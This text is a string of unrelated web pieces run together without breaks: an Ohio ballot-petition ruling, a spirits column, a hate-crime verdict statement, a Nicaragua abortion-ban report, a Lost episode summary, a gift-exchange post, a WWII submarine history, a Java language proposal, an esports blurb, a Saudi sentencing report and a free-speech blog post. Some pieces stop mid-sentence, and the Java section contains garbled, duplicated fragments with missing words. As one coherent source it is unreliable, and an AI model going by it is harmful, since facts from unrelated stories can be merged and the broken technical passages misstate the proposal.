petition for a proposed amendment to the Ohio Constitution which would attempt to legalize marijuana for medical use.
Last week the Ohio Attorney General's Office received a written petition to amend the Ohio Constitution, entitled "Medical Use of Marijuana" from the group Ohioans for Medical Marijuana. 1,000 valid signatures from registered Ohio voters were submitted. However, Attorney General DeWine found at least three defects with the summary language:
The summary language states "no more than fifteen type 1 medical marijuana cultivation facility licenses" shall be issued. However, the proposed amendment contains provisions for issuing additional licenses.
The summary language states that the amendment may not be construed to prevent a person from being penalized for "operating a motor vehicle, aircraft, train, or motorboat while impaired by marijuana[.]" However, the proposed amendment contains language which states qualifying patients "shall not be considered to be impaired by marijuana or marijuana products solely because of the presence of metabolites or components of marijuana that appear in insufficient concentration to cause impairment[.]"
The summary language states there shall be additional ways to obtain valid registry identification card under certain conditions after July 1, 2017. However, the proposed amendment lists that date as August 1, 2017.
"For these reasons, I am unable to certify the summary as a fair and truthful statement of the proposed amendment," DeWine stated in a letter to the petitioners.
The full text of the letter and of the amendment petitions submitted can be found here.My brother Tyler and I sometimes play a game we call Liquor Store Archaeology. The aim is to make a pith-helmeted visit to older, neglected liquor stores, the sort of family-owned shops that perhaps were once prosperous and now do business mainly in pint-size flasks or liters of cheap wine or beer by the can. Inside, we scour the dark bottom shelves and dank back corners of the place, looking for forgotten bottles of spirits that have been languishing, perhaps for decades.
More often than not, we indeed turn up something rare or just plain strange. Our finds span the world: caraway-flavored kummel from Germany, an Armenian brandy called Ararat, eaux de vie with all manner of fruit floating in them, a wasabi-flavored liqueur, even a honey liqueur bottled with a real honeycomb.
It has become rather competitive. I thought I had taken the lead with something called Panache, a sweet aperitif wine with a 1970s-looking label that was made by Domaine Chandon but now is impossible to find. Then Tyler countered with a wonderful liqueur from Sicily made from mandarin peels, called Mandarino del Castello, about which we can find no information.
I figured I'd won when I'd unearthed a bottle of Cordial Campari. Though made by the same company, Cordial Campari is not to be confused with the more famous Italian red aperitivo; Cordial Campari is a clear, sambuca-like after-dinner digestivo. I'd heard tales of Cordial Campari and seen it in a few old-man bars in Italy. But it has not been widely available in the United States, and my bottle is probably decades old. It may once have been valuable, but probably not anymore -- mainly because my friends and I broke into the bottle during the holidays, and it's now sitting half-empty in my cabinet.
So Tyler became the clear victor not too long ago when he turned up something called, somewhat disturbingly, Peanut Lolita, a thick, peanut-flavored liqueur that once was produced by Continental Distilling in Linfield, Pa. The logo and fonts on the label suggest the early 1960s, but according to what little research exists, Peanut Lolita was still around in the mid-1970s, when infamous presidential brother Billy Carter "often made drunken appearances" with the liqueur's spokesmodel, according to an essay by Christopher S. Kelley in "Life in the White House: A Social History of the First Family and the President's House" (SUNY Press, 2004).
We may now own the only two bottles of Peanut Lolita left in existence. Due to the liqueur's overwhelming whiskey-and-peanut taste and grainy texture -- not to mention its unfortunate name -- it is unlikely to make a comeback anytime soon. But Tyler has created a respectable drink with the stuff: He layers ice-cold Peanut Lolita and raspberry-flavored Chambord in a cordial glass and calls it a PB&J.
For a while, the holy grail of our archaeology has been Creme Yvette, a purple-colored, violet-and-vanilla-flavored liqueur originally made by Sheffield in Connecticut and then by Charles Jacquin et Cie in Philadelphia. Nearly all mid-century bartending guides suggest that Creme Yvette was part of any well-stocked bar, and it was essential in classic cocktails such as the Blue Moon. But in the 1960s, it disappeared.
Creme Yvette is a variation on the traditional creme de violette liqueurs found in Europe, and the closest Tyler and I had come to tasting it was when friends brought home versions from France (Benoit Violette Liqueur) and the Netherlands (Bols' Parfait Amour).
That is, until last summer, when I finally had a taste of real Creme Yvette in New Orleans at the Tales of the Cocktail conference during a session on rare and obscure spirits. Rob Cooper of Charles Jacquin generously served tastes to everyone who attended, poured from one of two bottles left in existence. To judge from the reaction of many of the cocktail geeks in the room, you'd think it was a life-altering experience. Cooper suggested that if he had anything to do with it, Creme Yvette would soon be back on the U.S. market.
One importer has beaten him to the punch. Eric Seed, who owns the Minnesota-based Haus Alpenz, has brought in a delicious creme de violette liqueur made by Austrian distillers Rothman & Winter. This creme de violette is more floral, with less vanilla, than the others I've tried.
It's not the first time Seed has unearthed some long-lost spirit. In Indonesia, he rediscovered Batavia Arrack, a spicy rum cousin that was a standard in pre-Prohibition punches. In the Austrian Alps, he found Zirbenz, a liqueur made from the fruit of the native stone pine. And from Barbados, he began importing falernum, a spirit that until now I've had to manufacture myself if I wanted any (see recipe here).
Though recently called "the Indiana Jones of lost spirits" by Food + Wine, Seed is actually more cerebral and mild-mannered than he is swashbuckling. His hunts often begin at the request of high-end bartending clients, including those at Central and Cork in D.C. When asked what motivates his quests, Seeds says simply, "The customers I sell to, they take a very dim view of vodka."
Needless to say, Seed wins Liquor Store Archaeology in a landslide.
Jason Wilson's Spirits column appears every other week. He can be reached at food@washpost.com.Scott was accused of breaking the bottle over the head of Sucuzhanay as he walked arm-and-arm with his brother, Romel, on a cold night in Brooklyn. The brothers were returning home from a bar; Jose was drunk, and Romel was helping him walk. Prosecutors said Scott, 26, and Phoenix, 30, mistook the brothers for gay men, and yelled anti-Hispanic and anti-gay slurs at them. Scott smashed the bottle over Jose Sucuzhanay's head and chased after Romel with the broken bottle, while Phoenix beat Sucuzhanay with an aluminum baseball bat so badly he cracked open his skull, prosecutors said. Sucuzhanay died several days later at a hospital. Phoenix has pleaded not guilty to second-degree murder, manslaughter and attempted assault, all as hate crimes. His jury began deliberations Thursday evening. Phoenix's defense attorney, Philip Smallman, said Thursday in closing arguments that the case was about a fight that escalated, not a premeditated attack.
“I am outraged by the dismissal of hate crime charges in one of the most heinous acts of hate our city has witnessed in recent memory. It is incomprehensible to me that such violent acts of hate could receive a verdict of not guilty. Hakim Scott viciously attacked Jose Sucuzhanay while calling him derogatory names and stood by and watched while his fellow attacker, Keith Phoenix, beat Jose with a baseball bat. Jose was attacked simply because of who he was and who these two criminals perceived him to be. His attack was motivated and fueled by pure hatred.
I urge all New Yorkers to join me in condemning this verdict, as we did when we originally learned of this attack.
"Justice was served with guilty verdicts on manslaughter and attempted assault charges. With these two charges combined, Hakim Scott faces up to forty years in prison.
The fact is, however, that Mr. Scott has escaped serving any time for his vicious hate, hate that was at the heart of this horrible crime and murder. This is a sad day for the family of Jose Sucuzhanay and for all those who uphold and fight for tolerance and acceptance. I pledge to the Sucuzhanay family that our fight is not over and we will do all that we can to see Mr. Scott in jail for the rest of his life.
We remain hopeful that Keith Phoenix will ultimately be found rightfully guilty in the hate charges he faces.Pregnancy deaths increase after abortion ban in Nicaragua
David Edwards and Adam Doster
Published: Tuesday November 6, 2007
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Under Nicaragua's no-exception abortion ban implemented last year, researchers say that at least three women have died because of complications during pregnancy, while 12 reported cases have yet been analyzed.
The Associated Press detailed the story of one victim, 22-year old Olga Reyes. In her case, the fetus grew outside of her uterus and was unable to survive, prompting excessive bleeding that eventually endangered the mother.
Reyes' husband expressed concern over the limitations Nicaraguan doctors face. "Doctors feel if they interrupt a pregnancy, their liscenses can be revoked," he said through a translator. "They are threatened."
The law was passed last year with support from institutions like the Roman Catholic Church, which asserts that medical advances, not abortion, can alleviate complications of pregnancy.
Read the whole report HERE.
The following video is from The Associated Press, broadcast on November 6, 2007.Not to be confused with Some Like It Hot
13th episode of the fifth season of Lost
"Some Like It Hoth" is the 13th television episode of the fifth season of ABC's Lost.[2] The 99th episode of the show overall, "Some Like It Hoth" aired on April 15, 2009, on ABC in the United States. The episode was written by co-producer Melinda Hsu Taylor and "Eggtown" writer Greggory Nations and directed by Jack Bender.[2] The title is a reference to the film, Some Like it Hot and the fictional planet Hoth in the Star Wars universe.[citation needed]
In 1977, Miles Straume (Ken Leung) and Hugo "Hurley" Reyes (Jorge Garcia) deliver a package to a top DHARMA official. Meanwhile, a security breach is being suspected after young Ben has disappeared. In flashbacks, Miles is recruited by Naomi Dorrit (Marsha Thomason) to go to the island.
Plot [ edit ]
Flashbacks [ edit ]
As a child, Miles discovers that he can hear the voices of dead people, so long as their bodies are nearby. When his mother, Lara (Leslie Ishii), is dying of cancer several years later, Miles questions her about his father. She tells him that his father died when Miles was still a baby and that he never cared about her or Miles. Miles has been employed by a man (Dean Norris) to speak with his dead son. Since the boy's body was cremated, Miles lies to the man and says that the boy knew his father loved him. Some time later, Miles is approached by Naomi Dorrit (Marsha Thomason) who, after ascertaining that Miles is not a fraud, offers him $1.6 million to go to the island on the freighter. He agrees, however he is later kidnapped by a group of people who claim that the owner of the freighter, Charles Widmore (Alan Dale), is on the "wrong team." Miles says he will not go to the island if they can provide him double the money ($3.2 million, the amount Miles asks for in "Eggtown"). Their leader, Bram (Brad William Henke), who is later a passenger on Ajira Airways Flight 316, asks Miles the question, "What lies in the shadow of the statue?" Miles cannot answer, so he tells Miles that he won't be ready to go to the island until he can. They then let Miles go. Miles later returns the man's money, saying that he lied and that the man should have told his son that he loved him before he died.
1977 [ edit ]
Following the events of "Whatever Happened, Happened", Kate Austen (Evangeline Lilly) and James "Sawyer" Ford (Josh Holloway) return from bringing Ben Linus (Sterling Beaumon) to the island's native population, known as the Others. Kate returns to the infirmary where Juliet Burke (Elizabeth Mitchell) had been treating Ben for a gunshot wound. Ben's father, Roger (Jon Gries), arrives and notices that Ben has gone missing. Sometime later, Kate approaches Roger, who has been drinking, and tells him that everything will be okay. He grows suspicious of her and demands to know what happened to Ben. He later tells Jack Shephard (Matthew Fox) of his suspicions, leading Jack to tell Sawyer and Juliet. After dismissing Jack, Sawyer is confronted by Phil (Patrick Fischler), who has seen the security video of Sawyer taking Ben. Sawyer knocks Phil unconscious and tells Juliet to get some rope to tie him up.
Miles Straume (Ken Leung), meanwhile, is sent by Horace Goodspeed (Doug Hutchison), the Dharma Initiative's leader on the island, to the construction site of the Swan Station to retrieve a dead body and bring it to Dr. Pierre Chang (François Chau), Miles's father, at the Orchid Station. Before he can bring the body to Dr. Chang, Hugo "Hurley" Reyes tries to take the van containing the body, in order to deliver food to the Orchid Station. Since they are both going to the same place and there are no other vans available, Miles reluctantly agrees to let Hurley accompany him. On the way, Hurley finds the body and realizes that Miles is able to communicate with dead people, an ability Hurley also possesses. After discussing the differences between their abilities, they arrive at the Orchid Station, where Miles transfers the body to Dr. Chang, who, after disposing of the body, requires a ride to the construction site. After dropping him off, Miles discovers that Hurley is writing the screenplay for the 1980 film The Empire Strikes Back, from memory, in order to give it to George Lucas. Hurley compares Miles's relationship with his father to the relationship between Luke Skywalker and Darth Vader, as well to the relationship between Hurley and his father. Hurley says that the best thing he ever did was forgive his father for abandoning him and suggests Miles do the same. Miles goes to Dr. Chang's house and briefly observes him interacting with his three-month-old self. However, Dr. Chang is on his way out and takes the older Miles to the dock, where a submarine is arriving with Dharma scientists, among whom is Daniel Faraday (Jeremy Davies). Faraday recognizes Miles and mentions that it has been a while since they have seen each other.I was BEYOND exited when I received a huge, heavy box on my doorstep today. I opened the box to find a bunch of individually wrapped gifts which made the whole thing feel like christmas day. I definitely rambled in my exchange preferences so had no idea what to expect but OMG my Santa did not disappoint!
I am obsessed with candles and scented soaps and they included ones they knew I would love and some silly soaps too. Not to mention they made the whole box smell like christmas trees and it was THE BEST. One of them is a Habersham no light candle and its incredible. I had previously never heard of them so i'm super excited to add it to my collection and I will definitely be looking up some more.
In a separate box inside this one, there was a huge selection of fun candies and treats. I mentioned that I like regional snacks and that I want to one day go to Japan and buy a gazillion unnecessary cute things. I received a full bag of green tea kitkats (one of my absolute favorite treats ever), sushi candy, wasabi candy, candy ciggs (i used to love these as a kid), bacon soap, awesome Edvard Munch bandages and best of all FIVE Japanese candy kits! Iv'e watched people make a ton of these on youtube so I'm so excited to do them myself.
I mentioned my Fiance and I like to collect fun mugs and they sent me an amazing heat activated Van Gogh one (nice nod to my art background) and then a MASSIVE half gallon mug that had us laughing as soon as we opened it. I also wrote that I'm working on some art pieces and they sent the cutest little canvases and easel and I just love how it looks in my studio and can't wait to use them. And finally, what may be the sweetest part, they sent 2 "World's Best Cat" awards for our girls, that we will be displaying proudly in our living room, for all to see.
Thank you so much Santa, whoever you are, for the incredibly thoughtful and fun gifts. You've definitely set the bar high!Called the “Flying Dutchman” of World War Two after the mythical ghost ship which can never make port and is doomed to sail the oceans forever, when the giant French submarine “Surcouf” left Bermuda for the last time in February, 1942 she became the stuff of legend.
The fate of “Surcouf” — the largest submarine in the world at the time, boasting twin eight-inch guns in a rotating, waterproof turret and carrying an observation seaplane — has remained one of the most enduring mysteries of the Second World War [1939-1945] for more than 70 years.
Launched in 1929 and commissioned in May 1934, “Surcouf” — named after the French privateer Robert Surcouf — was designed as an “underwater cruiser”, intended to seek and engage enemy shipping in surface combat.
The submarine was 361 feet long and carried a crew of almost 130 men.
Aside from her eight-inch guns, “Surcouf” carried armaments which included eight 22-inch and four 16-inch torpedo tubes.
After France fell to Nazi forces in June, 1940 the “Surcouf” escaped to Britain and continued to fight for the Allied cause as part of the exiled Free French forces commanded by General Charles DeGaulle.
But while the submarine was fighting alongside the Allies between 1940 and 1942, she was plagued by rumours concerning her crew’s loyalty. There were unconfirmed reports she had attempted to torpedo Allied shipping in convoys sailing from the US East Coast to Britain while stationed off Bermuda in May, 1941.
And when she disappeared eight months later after leaving Bermuda en route to the Panama Canal and French Tahiti, she left behind nothing behind her but more speculation.
Some conspiracy theorists have claimed a limpet mine was attached to her by officers of the British Secret Intelligence Service before she left Bermuda’s Dockyard on February 12, one timed to detonate when she was out of local waters.
Other historians say she was accidentally sunk near the entrance to the canal by the US Sixth Bomber Group operating out of Panama after they mistook “Surcouf” for a German submarine.
The most widely accepted theory concerning her disappearance is that “Surcouf” — plagued by mechanical difficulties — collided with an American freighter named “Thompson Lykes” in the Caribbean Sea on the night of February 18, 1942.
But now former US Navy submarine commander Frederick Hallett — who has written extensively about “Surcouf” in maritime journals in recent years — has come up with a new theory concerning the submarine’s fate.
“First, ‘Surcouf’ could not have been within 300 miles of the ‘Thompson Lykes’ at the time of the [supposed] collision,” he posted recently on a World Two on-line forum. “We know when she left Bermuda. We know her maximum speed with only one shaft operating. There is no evidence of any sightings or attacks by anybody after she left Bermuda.”
Mr. Hallett believes “Surcouf” instead bolted for the French Caribbean island of Martinique after leaving Bermuda, seeking sanctuary with its Vichy French administration.
“The British liaison party [which joined 'Surcouf' in Bermuda] was one officer and two ratings,” he said. “My guess is that they were disposed of en route to Martinique.
“In letters home they had mentioned their suspicions that such a thing might happen.”
After France was conquered by Germany in 1940, the country was divided into two administrative areas by its Nazi overlords: the northern region was occupied by the German military while a puppet regime loyal to Berlin was installed in the south, its de facto capital in the resort town of Vichy in central France.
Officially neutral for the rest of the war — although its leadership actively cooperated with the Nazis — Vichy France retained control of many overseas territories, including those in the Caribbean. The United States granted Vichy full diplomatic recognition, hoping to use American influence to encourage those elements in the administration opposed to military collaboration with Germany.
Vintage newsreel footage of “Surcouf” is included in this French news report
“I am interested in gathering any new evidence which could either reinforce or contradict my thesis that after leaving Bermuda she ‘defected’ from British Navy control and went to join her French Navy comrades in [Vichy-ruled] Martinique, remaining there until late May, 1942, when USS ‘Blakeley’, having had her bow blown off by U-156, limped into Fort de France,” Mr. Hallett posted recently. “Knowing that her presence would inevitably be discovered, a plan was hatched to have her return to Vichy France, escorted by [the German submarine] U-69.
“Unfortunately, she was caught on the surface by a St.Lucia PBY [Catalina amphibious aircraft] who was searching for ‘Blakeley’s’ attacker and sunk just before midnight on May 26 in a brilliant night attack for which the pilot received a Navy Cross.”
According to Mr. Hallett, U-69 lingered at the rendezvous point, waiting for “Surcouf”, until June 1, 1942, before returning to St. Nazaire alone, arriving June 25 after |
Any changes to the standard libraries in order to take advantage of the language enhancement would be performed under a separate JEP.
A language might be designed to infer the variance of type parameters, rather than requiring explicit syntax [1]. Such analysis is outside the scope of this JEP.
The feature is not a replacement for wildcards. It provides a less-verbose way to get the behavior of wildcards in certain cases, but is not intended to replace all common use cases.
Changes to the behavior of existing code—such as improvements to or simplifications of the behavior of existing wildcards—are outside the scope of this JEP.
Motivation
Certain class type parameters are used by the class declaration in such a way that they are inherently variant: for example, the type Iterator<Number> has no more functionality than the type Iterator<? extends Number>, both of which can be used to read Numbers ; similarly, Predicate<String> has no more functionality than Predicate<? super String>, both of which can be used to test a String. Since invariant uses of these type arguments are less flexible than their wildcard equivalents, while providing no extra power, a reasonable practice is to always use a wildcard when mentioning the type. This strategy maximizes flexibility without compromising expressiveness.
But there are problems:
Everyone has to cooperate. If a library needlessly expects a Predicate<String>, and you've got a Predicate<? super String>, you have to do an unchecked cast or allocate a new object.
The practice is mechanical and verbose. Computers are good at mechanical transformations; people are not. And programmers reasonably push back when the "right" way to use a type requires a lot more characters and obfuscates intent. (For example, Function<Iterator<S>, Predicate<T>> expands to Function<? super Iterator<? extends S>,? extends Predicate<? super T>>.)
Error messages are harder to decipher. Wildcards and capture variables add a significant degree of complexity to error messages. If a programmer doesn't absolutely need to support variance, she might prefer to live in an invariant world just so that she doesn't have to figure out the error messages.
The solution is to shift this burden from programmers to compilers, allowing a class or interface type parameter, when appropriate, to be declared covariant or contravariant.
interface Predicate<contravariant T> { boolean test(T arg); }
Then, the compiler can automatically treat every use of the type—e.g., Predicate<String> —as if it had wildcards— Predicate<? super String>. Clients get the benefit of more flexible types without having to do anything.
A 2011 PLDI paper [1] performed an analysis of some open-source Java libraries that make use of generics, including the Java core libraries, Guava, and Apache Commons. Findings:
At least 27% of generic classes and 53% of generic interfaces in the examined libraries have an inherently variant type parameter.
Inherently contravariant type parameters are almost as common as inherently covariant type parameters.
At least 39% of wildcard uses in these libraries could be made unnecessary with declaration-site variance.
Presumably a large number of clients of these libraries would benefit from both a reduced need for wildcards and increased flexibility in their types (the paper does not examine library clients).
Description
The new language feature encompasses the following:
New syntax (such as a symbol, modifier, or annotation) to indicate when a class type parameter is covariant or contravariant.
Checking of class declarations to ensure consistent use of each covariant or contravariant type parameter; parameterizations of the class are possibly also checked for consistent use of wildcards.
Type checking that allows a type like C<Foo> to be widened to C<Bar> iff one of the following are true: i) the corresponding type parameter is invariant and Foo is equal to Bar ; ii) the corresponding type parameter is covariant and Foo is a subtype of Bar ; or iii) the corresponding type parameter is contravariant and Foo is a supertype of Bar.
to be widened to iff one of the following are true: i) the corresponding type parameter is invariant and is equal to ; ii) the corresponding type parameter is covariant and is a subtype of ; or iii) the corresponding type parameter is contravariant and is a supertype of. Encoding the variance of type parameters in the class file.
(A note on terminology: for simplicity, throughout this JEP, the term class also refers to interfaces.)
Details of these four components:
Type parameter syntax. The strawman syntax is to use covariant T in the declaration of T in order to indicate that it is covariant; contravariant T indicates that T is contravariant. Thus, the Function interface might be declared as:
interface Function<contravariant T, covariant R> { R apply(T arg); }
We may also consider some other syntax. Other languages use symbols ( interface Function<-T,+R> {... } ) or keywords ( interface Function<in T, out R> {... } ).
Well-formedness checking. A variant type parameter should only be used in certain contexts that support its variance. For example, if the type of a method's parameter is a type variable T, then T should be invariant or contravariant—not covariant. For more complex types, the analysis recurs: if the type of a method's parameter is Predicate<T>, then T should be invariant or covariant. The rules governing appropriate usage of type variables must be developed and implemented for every context in which a type variable can appear.
At the use site, a mismatch between the variance of a type parameter and the variance of a wildcard might also be detected— Iterator<? super String>, for example, is nonsensical. (We must take some care here, however, because such types—though useless—may exist in the wild, raising migration compatibility concerns.)
It is possible to define type-checking behavior without strictly enforcing these well-formedness rules, and there is some flexibility in their design. But being more permissive about well-formedness generally leads to unintuitive behavior at the use site.
Type checking. Two strategies may be used to specify and implement widening of reference types, consistent with the declared variance of type parameters.
Enhanced subtyping: When subtyping encounters two parameterizations of the same class type, it performs a pairwise comparison of the type arguments using type argument containment. The intuition is that a wildcard can "contain" a range of types, while a type can only "contain" itself. By enhancing this relation, we might allow one type to "contain" another if the corresponding type parameter is variant and an appropriate subtyping relationship holds between the two types. With this approach, it might also be useful to define type equality such that a wildcard-parameterized type is considered the same as that type with the wildcards removed.
Implicit wildcards: Rather than making changes to subtyping, we preprocess the source code so that types like Function<String, Number> are implicitly expanded to Function<? super String,? extends Number>. This expansion occurs at most use sites of a type (in a few contexts—like class instance creation—wildcards do not make sense, so the expansion does not occur there).
There are advantages and disadvantages to each approach. Enhanced subtyping is more direct and more closely aligned with users' intuition, while implicit wildcards is more flexible, placing fewer constraints on the well-formedness rules. In principle, they are likely equivalent, and if desired it might be possible for the specification and implementation to use different approaches.
Note that many other aspects of type checking are orthogonal to this feature. For example: raw types continue to behave as currently specified; "diamond" class instance creation expressions use the same inference algorithm as before; generic array creation is still prohibited.
Class file changes. To allow separate compilation, variance of type parameters must be encoded in the class file. There are a variety of possible approaches, including modifying the Signature attribute, introducing a new attribute, or piggybacking on an existing mechanism (like RuntimeVisibleTypeAnnotations ).
Reflection APIs should probably understand this encoding and directly expose it to clients (e.g., a TypeVariable.getVariance method).
Development plan
In a first phase, the following artifacts will be produced:
An enhanced version of the javac compiler.
compiler. Other JDK tools and APIs with minor enhancements, as necessary (reflection, javadoc, pack200, etc.)
,, etc.) Specification: proposed changes to the Java Language Specification, along with any necessary supporting changes to the Java Virtual Machine Specification and/or standardized reflection APIs.
Documentation describing any source compatibility risks for changes to previously-published classes.
After the first phase, we will reevaluate whether the proposed feature is in accordance with initial expectations, and if so, proceed to a second phase, formally changing the language via the Java Community Process. This will involve i) making adjustments to the behavior of the first milestone as proposed by the consensus of an Expert Group, and ii) producing compliance tests (for the JCK-compiler suite).
Alternatives
The existing alternative in the Java language is use-site variance (wildcards). This is a useful feature, but has its limitations, as noted in the "Motivation" section.
There are good reasons for both use-site and declaration-site variance in a language; they are complementary [1] [2]. Use-site gives users flexibility to tailor a type (like List ) to their particular needs, while declaration-site relieves users of a clerical burden when there is only one reasonable variant usage of a type (like Iterator ).
There are various ways in which the scope of the feature could be limited, although the problem is so general that these limited approaches seem inadequate:
The language could give special treatment to certain known classes or interfaces in the standard library, thus avoiding a need for declaration-site syntax and checking.
The feature could be allowed only in interfaces, or could otherwise be restricted to certain simple contexts, avoiding some extra work for well-formedness-checking—e.g., checking fields and method body declarations.
Testing
As a proposed language change, the enhancement should be accompanied by new JCK-compiler tests.
Behavior of existing compiler tests will be unchanged.
Risks and Assumptions
Language enhancements are ultimately subject to the Java Community Process; this may influence the scope or design of the feature.
To be successful, the feature must be designed to allow migration of existing classes, both in the Java Class Library and in users' code. While we have reasonable confidence that this will be possible with very little source incompatibility, there is a risk that this will turn out not to be the case. (Note that any change to method invocation compatibility is likely to cause subtle changes in overload resolution and type inference behavior, but these are typically harmless in real code.)
The theoretical underpinnings of subtyping in the Java language are somewhat unstable; anything that perturbs this space carries a degree of risk that it will exacerbate the problem. Given that there is a straightforward mapping from a subtyping model with declaration-site variance to one with only use-site variance, however, this feature does not seem to introduce any new theoretical problems.
If the implicit wildcards implementation strategy is used and a number of common classes are enhanced, we risk overwhelming users with error messages involving wildcards. It is possible that these messages could be simplified, but further exploration would be necessary.
Dependencies
JDK-8154901 identifies various problems with the design of generics in the Java Language Specification and javac. These problems should be addressed, or at least carefully considered, before making further language changes in this area.
JEP 218 proposes other enhancements to generics, both in the language and the JVM. Design decisions should be made with both JEPs in mind.
It would be disappointing for users if this feature were delivered without accompanying changes to existing classes in the Java Class Library. These library changes will need to be handled in a subsequent JEP.
Minor changes may be necessary for java.lang.reflect, javax.lang.model, javadoc, javap, pack200, and ASM. This is mostly to correctly process/expose the variance of type parameters, as encoded in class files.
Language documentation and tutorials should explain and encourage use of the new feature.
References
[[1]]: #1 [1] John Altidor, Shan Shan Huang, & Yannis Smaragdakis. Taming the Wildcards: Combining Definition- and Use-Site Variance. http://jgaltidor.github.io/variance_pldi11.pdf.
[[2]]: #2 [2] Ross Tate. Mixed-Site Variance. http://www.cs.cornell.edu/~ross/publications/mixedsite/mixedsite-tate-fool13.pdf.Following his team's victory over North that secured them a playoff spot, HLTV.org talked to Finn "karrigan" Andersen about FaZe's group stage struggles and the bracket ahead.
One of the favorites for the tournament coming in, FaZe, had a rough ride through the group stage, only securing a playoff spot with a win in the last match of the third day here in Cologne.
After losing to mousesports and picking up wins against fnatic and Heroic, FaZe were looking like big favorites to secure playoffs going into the match versus OpTic. However, the North American side took them down on Train, so FaZe was forced to face North in the final group stage match.
After his troops defeated the Danes on Inferno, we sat down with Finn "karrigan" Andersen to hear his thoughts on their ESL One Cologne performances, Nikola "NiKo" Kovač's impact as a secondary caller and more.Saudi journalist Alaa Brinji, shown at left in his Twitter profile picture, reportedly was sentenced to 5 years in prison Thursday. Saudi courts previously ordered beheading for protester Ali al-Nimr, upper right, and gave long prison terms to blogger Raif Badawi and his attorney Waleed Abu al-Khair. Getty Images/Facebook/Twitter
A Saudi Arabian court on Thursday sentenced a journalist to five years in prison for comments he posted on Twitter, according to Amnesty International.
Amnesty International says Alaa Brinji was convicted of “insulting the rulers,” “inciting public opinion,” “ridiculing Islamic religious figures,” “violating Article 6 of the Anti-Cyber Crime Law” and “accusing security officers of killing protesters in Awamiyya” in the country’s Shiite-majority east.
“All of these charges stem from tweets he posted online,” the group said in a Friday press release, “some of which were in support of Saudi Arabian women’s right to drive cars, human rights defenders and prisoners of conscience.”
The group says Brinji, who has worked for the local newspapers al-Bilad, Okaz and al-Sharq, was arrested in May 2014 and initially charged with apostasy, which carries the death penalty. He also initially was accused of “calling for secularist thought” and “attempting to tarnish the country’s reputation.”
Amnesty International says Brinji has not been provided access to an attorney and that the court on Thursday ordered his Twitter account closed.
The Twitter account and its Arabic-language postings remained undeleted as of Friday afternoon, with the most recent tweets being from May 2014.
Journalist Alaa Brinji is pictured in an undated photo provided by Amnesty International.
Courtesy of Amnesty International
The Saudi court system is notoriously opaque, making it difficult for media outlets to independently verify the reporting of human rights groups who work with sources to track cases. The judiciary is run by Muslim clerics who apply a harsh reading of Islamic law, though the Saudi king can issue pardons.
U.S. News was unable to confirm details of the case. Adam Coogle, a Saudi Arabia researcher for Human Rights Watch – another organization that tracks legal cases in the country – was unable to immediately confirm Amnesty’s reporting.
As generally is the case, the Saudi Embassy in Washington did not respond to a request for comment.
Badawi founded a website called “Saudi Arabian Liberals” that hosted criticism of religious leaders and alleged insults to Islam. His 2014 sentence of 10 years in prison and 1,000 lashes led to a State Department rebuke.
Al-Nimr was arrested at age 17 following 2012 protests in Saudi Arabia’s Shiite-majority Eastern Province and was sentenced to beheading followed by crucifixion of his corpse.
Al-Nimr’s uncle, Nimr al-Nimr – a prominent Shiite religious leader and critic of the Saudi government – was beheaded in January, setting off protests and international condemnation. Ali al-Nimr’s supporters say he has been dealt with unfairly because of his uncle’s political views, and deny accusations the young protester possessed weapons or threw Molotov cocktails.
The U.S.-allied authoritarian monarchy is executing prisoners in greater numbers under King Salman, who took the throne in January 2015, and critics charge it's engaged in an aggressive campaign of internal repression.
Badawi’s defense attorney, Waleed Abu al-Khair, now is reportedly serving a 15-year sentence for crimes that include "antagonizing international organisations against the kingdom" and "incitement of public opinion against authorities."
Amnesty International indicated it will campaign for Brinji's release, though it remains to be seen if the journalist will become a household name in the West.
“The sentencing of Alaa Brinji to a five-year prison term is utterly shameful,” James Lynch, deputy director of Amnesty International’s Middle East and North Africa program, said in a statement.
“He is the latest victim of Saudi Arabia’s ruthless crackdown on peaceful dissent, where the aim appears to be to completely wipe out any and all voices of criticism,” Lynch said. “Putting someone behind bars for peacefully exercising his legitimate right to freedom of expression, and defending the rights of others to do so, is a complete distortion of the very notion of justice.”Update: Further information suggests I was far too benefit-of-the doubt here, which is what happens when you write fast and when you generally despise some of the people involved. Some of this is still right, but regard the conclusions and characterizations with skepticism. Taking a second look. See, e.g., the fact that they cited this [footnote 118] for the video game discussion I cite below. When I'm wrong I'm wrong. Will revisit.
The United Nations Broadband Commission For Digital Development has released a new report called "Cyber Violence Against Women And Girls: A World-Wide Wake-Up Call." You can find it here.
I have a few comments about it from a free speech advocate's standpoint. I am not going to talk about it from a cultural standpoint. Any post here about gender-based harassment generates bad behavior, as I've long noted. I am aware that there is a political controversy over whether online harassment of women is understated or overstated, whether discussion of such harassment is a feminist plot to steal our precious bodily fluids, and so forth. My view is that online harassment of women is a problem and a legitimate subject of discussion, but I am uninterested in that discussion today. I'm interested in a discussion of the free speech implications of this report. If you are a person who feels that it would be morally wrong not to share your views on those subjects whenever physically possible, and that it would be like unto fascism for even one post not to showcase those views, please go elsewhere to one of the innumerable other venues for that discussion. Thank you.
Any Report From Any UN Body About Speech Warrants Scrutiny
I don't trust the UN on free speech issues. You shouldn't either. In a world where Iran wins a seat on the UN's Commission on the Status of Women, people who care about women's rights should also be skeptical. Pro-censorship forces continually pressure the UN for international laws and norms restricting speech — for instance by demanding laws outlawing blasphemy. Allow me some unabashed American exceptionalism: that's a bad thing. The United States' vigorous approach to protecting free speech and rejecting blasphemy laws is good, and foreign norms that encourage blasphemy laws often used to persecute religious and ethnic minorities are bad.
The UN's response to calls for censorship is mixed. Occasionally sensible officials have recognized the role of censorship (and especially blasphemy laws) in promoting oppression of the weak by the strong. But just as often the UN produces troubling rhetoric like this from the Secretary-General:
"Freedoms of expression should be and must be guaranteed and protected, when they are used for common justice, common purpose," Ban told a news conference. "When some people use this freedom of expression to provoke or humiliate some others' values and beliefs, then this cannot be protected in such a way."
The UN also has a pattern of avoiding discussions of censorship that might offend member states and uttering windy statements about how freedom of expression must yield to various sensibilities.
So: I submit that a report by the UN on an issue touching upon freedom of expression deserves close scrutiny. The report does not require special scrutiny because it is about harassment, or the treatment of women: it requires scrutiny primarily because of its source.
Scrutiny Means Actual Scrutiny, Please
But "scrutiny" means actually reading the report and not relying on shrill and partisan summaries and characterizations.
I read the report with an eye towards evaluating what specific policies the Commission is advocating. Taken from that perspective, the report is more respectful of freedom of expression, and less aggressive about potentially censorious policies, than I feared.
Like any UN report — strike that, any report ever — this report contains a lot of nonspecific rhetoric. It also contains very troubling discussions of violence and threats against women, both online and off. They are worth consideration apart from the discussion of free speech issues.
General Concerns About How The Commission Views Free Speech
